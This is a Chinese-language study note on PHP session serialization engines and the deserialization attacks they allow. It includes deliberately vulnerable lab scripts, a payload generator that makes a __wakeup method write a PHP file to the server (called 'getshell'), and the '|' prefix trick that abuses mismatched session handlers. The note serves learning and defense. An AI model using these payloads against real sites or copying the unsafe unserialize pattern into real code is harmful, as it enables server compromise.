php session序列化学习
目录
php有三种session存储处理引擎,参考lemon的表:
SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。下面根据代码,来看一下session的实际情况。
<?php
ini_set("session.serialize_handler", "php");
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['test'] = $_GET['a'];
根据不同的引擎来取消上面相应的注释。这里通过将参数a的值传入session,下面看一下session的实际存储内容
首先,session_start()是什么?
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie...
php_serialize反序列化测试
首先在php.ini中将session.serialize_handler的值设为:php_serialize。
根据上面的表可以知道,这里的session文件中保存的内容就是session变量的反序列化形式。
比如simple.php:
<?php
session_start();
$_SESSION['a'] = '123';
可见,后端将session存成一个索引数组的形式:
$a = [
'key1' => 'value1',
'key2' => 'value2',
...
];
serialize($a);
简单利用
下面进行一次简单的反序列化利用。
首先是one.php,用于处理首次请求,并将GET请求中的a参数赋值给$_SESSION['test']。
one.php
<?php
session_start();
$_SESSION['test'] = $_GET['a'];
这里用于接收我们有害的反序列化的值,然后将之存储到seesion文件中。
然后是two.php,用于从session文件中读取$_SESSION['test'],并将之反序列化。还有一个类,其__wakeup方法可以写文件。
two.php
<?php
class student{
var $name;
var $age;
var $mobile;
function __wakeup(){
file_put_contents($this->name, $this->age.$this->mobile);
}
}
session_start();
$a = $_SESSION['test'];
unserialize($a);
最后是ser.php,用于构造我们的payload:
ser.php
<?php
class student{
var $name;
var $age;
var $mobile;
function __wakeup(){
file_put_contents($this->name, $this->age.$this->mobile);
}
}
$a = new student();
$a->name = 'hallo.php';
$a->age = '<?php php';
$a->mobile = 'info(); ?>';
echo serialize($a);
这里构思一下这里攻击流程。首先是payload,可以看到ser.php这里直接被我硬编码了,根据strudent类的__wakeup()方法可以看到,name字段是文件名,age字段与mobile字段拼接后作为文件内容写入文件。
payload拿到之后先访问one.php,让后端把payload存到session文件中,然后再访问two.php,让后端从session文件中读取数据,并将之反序列化,反序列化的过程中触发__wakeup()魔术方法,导致getshell。
下面实操一下。
首先清理一下session文件
访问ser.php,获取payload
这时再看一下session文件目录,发现已经生成了一个session文件。
下面再访问two.php,进行反序列化。
这时看一下目录,发现成功getshell
当使用不同的引擎来处理session文件时...
根据最开始的引擎表格可以发现,php引擎的存储格式是键名 | serialized_string
,而php_serialize引擎的存储格式是serialized_string
。这里如果程序使用两个引擎来分别处理的话就会出现问题。
比如首先以php_serialize的格式存储,从客户端接收参数并存入session变量。
four.php
然后使用php引擎读取session文件。
five.php
下面构思一下攻击思路。首先访问four.php,在我们传入的参数最开始加一个'|',由于four.php是使用php_serialize引擎处理,因此只会把'|'当做一个正常的字符。然后访问five.php,由于其用的是php引擎,因此遇到'|'时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对'|'后的值进行反序列化处理。
实操一下。
首先生成payload:
在payload前加个'|',作为a参数,访问four.php
这时看一下生成的session文件
框出来的部分就是我们的payload,php_serialize引擎将之作为test对应值。
然而对于php引擎来说,它看到的却是这样:
我们来访问一下five.php试试
成功触发了student类的__wakeup()方法,验证了上面的想法是正确的。
思考一下
todo
todo:php 反序列化 - Lemon
